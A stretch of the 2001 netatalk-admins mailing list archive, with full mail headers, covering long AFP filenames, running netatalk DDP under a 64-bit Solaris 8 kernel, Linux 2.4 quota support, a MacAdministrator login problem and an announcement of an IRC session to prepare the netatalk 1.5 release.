> to search for files with names over 32 chars,

Hmm... filenames with 32 chars (bytes in fact -- but people don't want to
realize that) will be invisible too. 31 Bytes would be better. But this is
only true on the mac side not on the *NIX side if you don't use codepages as
special characters like umlauts for example will be represented with 3 Bytes
(a colon followed by the hex value of the character in MacRoman encoding)

> and truncate the names according to an appropriate algorithm (preserve
> extension etc.).

...and don't overwrite already existing files with the same name as
'netatalkshorternamelinks.pl' seems to do.

If netatalk will be ready for afp 3.0 some day, afpd has to handle Unicode
names (up to 255 chars), long names (31 bytes as usual with afp 2.x) and
also short names (8.3) for smb-conformance.

(my little knowledge lets me believe this after reading "Catalog Node Names"
in  <http://developer.apple.com/techpubs/macosx/Networking/AFP/AFP3.0.pdf>)

Best regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sun Nov 18 17:42:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA28882
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 18 Nov 2001 17:42:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA17568
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 18 Nov 2001 17:42:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA17557
	for netatalk.administrators-members@umich.edu; Sun, 18 Nov 2001 17:42:03 -0500 (EST)
Received: from mout02.kundenserver.de (mout02.kundenserver.de [195.20.224.133])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA17509
	for <netatalk-admins@umich.edu>; Sun, 18 Nov 2001 17:42:02 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout02.kundenserver.de with esmtp (Exim 2.12 #2)
	id 165adV-0003i9-00
	for netatalk-admins@umich.edu; Sun, 18 Nov 2001 23:42:01 +0100
Received: from [212.184.145.142] (helo=[212.184.145.142])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 165adT-0003G4-00
	for netatalk-admins@umich.edu; Sun, 18 Nov 2001 23:42:00 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Sun, 18 Nov 2001 23:41:54 +0100
Subject: Re: any progress on long filenames?
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B81DCFFA.2D428%ts@visual-s.de>
In-Reply-To: <Pine.LNX.4.21.0111181537480.12746-100000@frank.gwc.org.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2001-11-18 16:39 +0100, Alistair Riddell wrote:

> On Thu, 15 Nov 2001, Charles Mangin wrote:
> 
>> anyhow, i ask because i share a central linux server with macs via netatalk
>> and windows users via samba, and the windows users tend to name their files
>> very long and descriptive names, just to tick me off.
> 
> A simple Perl script could be written to search for files with names over
> 32 chars, and truncate the names according to an appropriate algorithm
> (preserve extension etc.).
> 
> You could then run that script manually or from a cron job.

Eventually some pieces from /contrib/shell_utils/netatalkshorternamelinks.pl
could be used to create such a script.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Mon Nov 19 00:51:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA13280
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Nov 2001 00:51:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA05508
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Nov 2001 00:51:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA05493
	for netatalk.administrators-members@umich.edu; Mon, 19 Nov 2001 00:51:51 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA05429
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 00:51:49 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id PAA22559
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 15:47:12 +1000 (EST)
Message-ID: <3BF89EA1.349B6F21@qimr.edu.au>
Date: Mon, 19 Nov 2001 15:54:41 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: [Fwd: [Fwd: Solaris 8 and DDP]]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Xiaping Lin wrote:

> Hi, Thomas
>
> Thanks so much for your reply. I think the precomiled binary(solaris8-TCP.tar.gz)  I
> installed on my SUN E420 Solaris 8 machine
> by Tim Carlson (ftp://ftp.santafe.edu/pub/unix/netatalk/) is 2.1.4asun-pre39
> according to his reply below:
>
> http://www.umich.edu/~rsug/netatalk/archive/admins/2000/2999.html
>
> So, there is no need for me to recompile it again. Also, I did not have SUN cc
> compiler.
>
> One thing I am not very clear is that is the default  kernel of Solaris 8 64-bit ?
> if so, Is there any chance to get ddp working under
> Solaris? Has any one got it working ? I prefer not to change kernel to 32-bit if I
> can.
>
> Looking forward to hearing from you.
>
> Thanks again for your help!
>
> Thomas Kaiser wrote:
>
> > On Thu, 15 Nov 2001 10:21:31 +1000, Xiaping Lin wrote:
> >
> > > I think my current problem with Netatalk not broadcasting may be to do the ddp
> > > not working under sparc64 solaris8.
> >
> > There are know issues with some network hardware originally manufactured by
> > sun. Quad-FastEthernet-cards for example were known to not support multicast
> > correctly. This affected other afp-/appletalk-stacks (like helios'
> > ethershare) also. (the differences between broadcasting and multicasting are
> > explained here for example: <http://www.pmg.com/otw_nwsl/96_sm_apple.htm>)
> >
> > > Can anyone tell me where I can get 2.1.4asun-pre39 source ?
> >
> > Take a look at: <ftp://ftp.cobaltnet.com/pub/users/asun/testing/>
> >
> > > What is "pre39" means here?
> >
> > It's a pre-release, not for production purposes. Search google for "asun
> > pre" (and mix it with "cobalt" and "netatalk" too) and read this article
> > <http://www.umich.edu/~rsug/netatalk/archive/admins/2000/0297.html> to find
> > out what you will get ;-)
> >
> > Be careful when using pre39. There the "persistent DID kludge" was invoked
> > to create fixed directory ids instead of incrementing them on a per-client
> > base. But this hack is known to produce data-loss under some circumstances
> > (duplicate DIDs).
> >
> > <http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3251.html>
> > <http://www.umich.edu/~rsug/netatalk/archive/admins/2000/3325.html>
> >
> > Best regards,
> >
> > Thomas
>
> --
> Xiaping Lin

--
Xiaping Lin
Information Technology
Queensland Institute of Medical Research
E-mail: xiapingL@qimr.edu.au
Ph:    61-7-33620231
fax:   61-7-33620111



From netatalk.administrators-errors@umich.edu  Mon Nov 19 02:02:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA16185
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Nov 2001 02:02:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA16556
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Nov 2001 02:02:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA16545
	for netatalk.administrators-members@umich.edu; Mon, 19 Nov 2001 02:02:49 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA16505
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 02:02:47 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA09409;
	Mon, 19 Nov 2001 08:24:30 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 19 Nov 2001 08:05:44 +0100
Subject: Re: [Fwd: Solaris 8 and DDP]
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Xiaping Lin <xiapingL@qimr.edu.au>, <netatalk-admins@umich.edu>
Message-ID: <B81E6DD7.14BE2%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3BF89EA1.349B6F21@qimr.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 19 Nov 2001 15:54:41 +1000, Xiaping Lin wrote:

> I think the precomiled binary(solaris8-TCP.tar.gz) I installed on my SUN E420
> Solaris 8 machine by Tim Carlson (ftp://ftp.santafe.edu/pub/unix/netatalk/) is
> 2.1.4asun-pre39 according to his reply below:
> 
> http://www.umich.edu/~rsug/netatalk/archive/admins/2000/2999.html
> 
> So, there is no need for me to recompile it again.

If you can trust him? ;-) Have you found out which DID scheme he used for
his compile?

> One thing I am not very clear is that is the default kernel of Solaris 8
> 64-bit ? 

I think so, but am not an solaris expert (no os-expert at all)

> if so, Is there any chance to get ddp working under Solaris? Has any
> one got it working ? I prefer not to change kernel to 32-bit if I can.

As Steve wrote before ("1.5 release candidate needs volunteers") The
netatalk developer community wants to provide us all within the next weeks
with a final 1.5 version of netatalk that will compile on a variety of
platforms. Solaris is one of the target platforms, so maybe you just wait
for a week or so...

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Nov 19 17:39:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA00172
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Nov 2001 17:39:39 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA16950
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Nov 2001 17:39:38 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA16927
	for netatalk.administrators-members@umich.edu; Mon, 19 Nov 2001 17:39:38 -0500 (EST)
Received: from rakete.joerdens.de ([62.8.194.74])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA16790
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 17:39:33 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id XAA05025
	for netatalk-admins@umich.edu; Mon, 19 Nov 2001 23:39:27 +0100
Date: Mon, 19 Nov 2001 23:39:27 +0100
From: Frank Joerdens <frank@joerdens.de>
To: netatalk-admins@umich.edu
Subject: quota support with Linux 2.4.x kernels
Message-ID: <20011119233927.A4805@rakete.joerdens.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
X-Subliminal-Message: Use Linux! Use Linux!

Greetings. I read in a samba list that the quota support is 'broken' in
so-called 'linus' kernels > 2.4.3 and that one is supposed to use a
redhat or 'cox' kernel (what the hell is that supposed to mean . . . are
we having different Linux kernle branches now??) if quota is to work.
Does anyone know anything about this? All I know is that quota support
does not work anymore since I moved to 2.4, not with samba or netatalk
(I need both, really).

Regards, Frank

From netatalk.administrators-errors@umich.edu  Mon Nov 19 18:32:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA02366
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Nov 2001 18:32:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA26529
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Nov 2001 18:32:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA26511
	for netatalk.administrators-members@umich.edu; Mon, 19 Nov 2001 18:32:24 -0500 (EST)
Received: from hermit.white-mountain.org (adsl-63-204-195-98.dsl.snfc21.pacbell.net [63.204.195.98])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA26468
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 18:32:23 -0500 (EST)
Received: from white-mountain.org (localhost.localdomain [127.0.0.1])
	by hermit.white-mountain.org (Postfix) with ESMTP id CBD914431
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 15:32:21 -0800 (PST)
Message-ID: <3BF9963F.5EB1B3D6@white-mountain.org>
Date: Mon, 19 Nov 2001 15:31:11 -0800
From: Jamie Flournoy <jamie@white-mountain.org>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: [Fwd: [Fwd: Solaris 8 and DDP]]
References: <3BF89EA1.349B6F21@qimr.edu.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

During installation of Solaris 8 for SPARC, you are given a choice of a 64-bit or 32-bit
kernel, and 64-bit is the default selection. I don't remember what happens on older
machines that aren't 64-bit capable... I think the installer actually notices this and
says something about it.

Xiaping Lin wrote:

> > One thing I am not very clear is that is the default  kernel of Solaris 8 64-bit ?
> > if so, Is there any chance to get ddp working under
> > Solaris? Has any one got it working ? I prefer not to change kernel to 32-bit if I
> > can.
> >


From netatalk.administrators-errors@umich.edu  Mon Nov 19 19:05:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA03526
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Nov 2001 19:05:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA03560
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Nov 2001 19:05:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA03546
	for netatalk.administrators-members@umich.edu; Mon, 19 Nov 2001 19:05:29 -0500 (EST)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA03514
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 19:05:28 -0500 (EST)
Received: from smtp-relay01.mac.com (server-source-si02 [10.13.10.6])
	by smtpout.mac.com (8.12.1/8.10.2/1.0) with ESMTP id fAJNYoS0007202
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 15:34:50 -0800 (PST)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GN2O9300.0VU for
          <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 16:05:27 -0800 
Received: from localhost ([217.85.190.94]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GN2O9200.D0Y; Mon, 19 Nov 2001 16:05:26 -0800 
Date: Tue, 20 Nov 2001 01:05:23 +0100
Subject: Re: [Fwd: [Fwd: Solaris 8 and DDP]]
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v475)
Cc: ne@smtpout.mac.com
To: netatalk-admins@umich.edu
From: Timo Schoeler <timo_schoeler@mac.com>
In-Reply-To: <3BF9963F.5EB1B3D6@white-mountain.org>
Message-Id: <4B6C6854-DD4A-11D5-8187-003065689F4A@mac.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.475)

on machines not 64bit capable as far as i can remember the installer 
doesn't give you the opportunity of choosing a 64bit kernel ;)

regards, timo

> During installation of Solaris 8 for SPARC, you are given a choice of a 
> 64-bit or 32-bit
> kernel, and 64-bit is the default selection. I don't remember what 
> happens on older
> machines that aren't 64-bit capable... I think the installer actually 
> notices this and
> says something about it.
>
> Xiaping Lin wrote:
>
>>> One thing I am not very clear is that is the default  kernel of 
>>> Solaris 8 64-bit ?
>>> if so, Is there any chance to get ddp working under
>>> Solaris? Has any one got it working ? I prefer not to change kernel 
>>> to 32-bit if I
>>> can.
>>>
>


From netatalk.administrators-errors@umich.edu  Mon Nov 19 19:07:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA03574
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Nov 2001 19:07:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA10203
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Nov 2001 19:07:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA10177
	for netatalk.administrators-members@umich.edu; Mon, 19 Nov 2001 19:07:29 -0500 (EST)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA10148
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 19:07:28 -0500 (EST)
Received: from smtp-relay02.mac.com (server-source-si02 [10.13.10.6])
	by smtpout.mac.com (8.12.1/8.10.2/1.0) with ESMTP id fAJNYvsD021311
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 15:34:57 -0800 (PST)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GN2OCF00.C11 for
          <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 16:07:27 -0800 
Received: from localhost ([217.85.190.94]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48)
          with ESMTP id GN2OCE00.21H for <netatalk-admins@umich.edu>; Mon,
          19 Nov 2001 16:07:26 -0800 
Date: Tue, 20 Nov 2001 01:07:23 +0100
Mime-Version: 1.0 (Apple Message framework v475)
Content-Type: multipart/alternative; boundary=Apple-Mail-1--9643366
Subject: Re: [Fwd: [Fwd: Solaris 8 and DDP]]
From: Timo Schoeler <timo_schoeler@mac.com>
To: netatalk-admins@umich.edu
Message-Id: <92F97B3A-DD4A-11D5-8187-003065689F4A@mac.com>
X-Mailer: Apple Mail (2.475)


--Apple-Mail-1--9643366
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed

on machines not 64bit capable as far as i can remember the installer 
doesn't give you the opportunity of choosing a 64bit kernel ;)

regards, timo

During installation of Solaris 8 for SPARC, you are given a choice of a 
64-bit or 32-bit
kernel, and 64-bit is the default selection. I don't remember what 
happens on older
machines that aren't 64-bit capable... I think the installer actually 
notices this and
says something about it.

Xiaping Lin wrote:

One thing I am not very clear is that is the default  kernel of Solaris 
8 64-bit ?
if so, Is there any chance to get ddp working under
Solaris? Has any one got it working ? I prefer not to change kernel to 
32-bit if I
can.



--Apple-Mail-1--9643366
Content-Transfer-Encoding: 7bit
Content-Type: text/enriched;
	charset=US-ASCII

on machines not 64bit capable as far as i can remember the installer
doesn't give you the opportunity of choosing a 64bit kernel ;)


regards, timo


<color><param>0000,0000,DEDE</param>During installation of Solaris 8
for SPARC, you are given a choice of a 64-bit or 32-bit

kernel, and 64-bit is the default selection. I don't remember what
happens on older

machines that aren't 64-bit capable... I think the installer actually
notices this and

says something about it.


Xiaping Lin wrote:


</color><color><param>5454,0000,0000</param>One thing I am not very
clear is that is the default  kernel of Solaris 8 64-bit ?

if so, Is there any chance to get ddp working under

Solaris? Has any one got it working ? I prefer not to change kernel to
32-bit if I

can.


</color><color><param>0000,0000,DEDE</param>

</color>
--Apple-Mail-1--9643366--


From netatalk.administrators-errors@umich.edu  Mon Nov 19 19:31:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA04663
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Nov 2001 19:31:47 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA28913
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Nov 2001 19:31:47 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA28894
	for netatalk.administrators-members@umich.edu; Mon, 19 Nov 2001 19:31:46 -0500 (EST)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA28859
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 19:31:45 -0500 (EST)
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id QAA28864
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 16:31:39 -0800 (PST)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <XABF41L7>; Mon, 19 Nov 2001 16:31:03 -0800
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E30645032509A2@m4.ci.tacoma.wa.us>
From: CSBURRIS@ci.tacoma.wa.us
To: netatalk-admins@umich.edu
Subject: RE: [Fwd: [Fwd: Solaris 8 and DDP]]
Date: Mon, 19 Nov 2001 16:31:03 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

The Solaris 8 kernel defaults to 64-bit if the machine is 64-bit capable.
You can tell what you are running by typing "isainfo -v". If you see:
   64-bit sparcv9 applications
   32-bit sparc applications
You are running a 64-bit kernel.
I have gotten a good 64-bit driver out of gcc 3.0.1 at 1.5pre7, but I 
couldn't get 1.5 pre8 to work, even with the 1.5pre7 driver.

Celeste Suliin Burris
Systems Admin
Tacoma Economic Development Dept.
csburris@ci.tacoma.wa.us

-----Original Message-----
From: Jamie Flournoy
To: netatalk-admins@umich.edu
Sent: 11/19/01 3:31 PM
Subject: Re: [Fwd: [Fwd: Solaris 8 and DDP]]

During installation of Solaris 8 for SPARC, you are given a choice of a
64-bit or 32-bit
kernel, and 64-bit is the default selection. I don't remember what
happens on older
machines that aren't 64-bit capable... I think the installer actually
notices this and
says something about it.

Xiaping Lin wrote:

> > One thing I am not very clear is that is the default  kernel of
Solaris 8 64-bit ?
> > if so, Is there any chance to get ddp working under
> > Solaris? Has any one got it working ? I prefer not to change kernel
to 32-bit if I
> > can.
> >

From netatalk.administrators-errors@umich.edu  Mon Nov 19 21:42:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA08886
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Nov 2001 21:42:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA22689
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Nov 2001 21:42:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA22672
	for netatalk.administrators-members@umich.edu; Mon, 19 Nov 2001 21:42:14 -0500 (EST)
Received: from redhat.columbiacomputers.com ([209.194.44.35])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA22552
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 21:42:09 -0500 (EST)
Received: from gene.ghurst.net (adsl-156-168-178.jan.bellsouth.net [66.156.168.178])
	by redhat.columbiacomputers.com (8.11.2/8.11.2) with SMTP id fAK2rZt05947
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 20:53:35 -0600
Content-Type: text/plain;
  charset="iso-8859-1"
From: Gene Hurst <ghurst@columbiacomputers.com>
Organization: Columbia Computers, Inc.
To: "Netatalk Administrators" <netatalk-admins@umich.edu>
Subject: Problem with MacAdminstrator
Date: Mon, 19 Nov 2001 20:47:15 -0600
X-Mailer: KMail [version 1.2]
MIME-Version: 1.0
Message-Id: <0111192047150F.19163@gene.ghurst.net>
Content-Transfer-Encoding: 8bit

I am having a very odd problem using either MacAdministrator or Macintosh 
Administrator.  If I connect to my Netatalk server using the chooser, 
everything is fine, but if I try to authenticate through Macintosh 
Adminstrator, my normal user management interface, it doesn't even try to 
contact the Linux box, as far as I can tell.  Very odd... has anyone else had 
experience with the Macintosh Adminstrator or MacAdministrator?

Gene Hurst

From netatalk.administrators-errors@umich.edu  Mon Nov 19 22:25:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA10508
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Nov 2001 22:25:10 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA25292
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Nov 2001 22:25:10 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA25281
	for netatalk.administrators-members@umich.edu; Mon, 19 Nov 2001 22:25:10 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA25241
	for <netatalk-admins@umich.edu>; Mon, 19 Nov 2001 22:25:08 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id fAK3P6p09924
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 04:25:06 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fAK3P5Z6032552
	for <netatalk-admins@umich.edu>; Tue, 20 Nov 2001 04:25:06 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fAK3P5Sf032551
	for netatalk-admins@umich.edu; Tue, 20 Nov 2001 04:25:05 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 1661Se-0000f6-00; Tue, 20 Nov 2001 04:20:36 +0100
Date: Tue, 20 Nov 2001 04:20:36 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Cc: stewb@centurytel.net, pkrohn@daemonize.com, dna+netatalk@clas.ufl.edu,
        js@debian.org
Subject: Netatalk 1.5 Release Hacking Party
Message-ID: <20011120042036.A2479@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu, stewb@centurytel.net,
	pkrohn@daemonize.com, dna+netatalk@clas.ufl.edu, js@debian.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

                    Netatalk 1.5 Release Hacking Party
                    ==================================

Version 1.0.0 2001-11-20

Corrections, suggestions, and disagreement welcome. Please write to
netatalk-devel@lists.sourceforge.net or directly to srittau@debian.org.

Date/Place
----------

Sat, 24th November 2001 5pm (17:00) UTC. Feel free to show up earlier or
later. Channel #netatalk-devel on irc.openprojects.net.

Overview
--------

The Netatalk project meets in IRC at the date and place given above to
prepare for the next stable release. We will mainly try to build a release
that compiles and works on all supported platforms. We will also try to
discuss a few points concerning the future development and release
coordination of netatalk (see below).

Everybody is welcome to join us and help in the release effort.

To Do
-----

* Testing

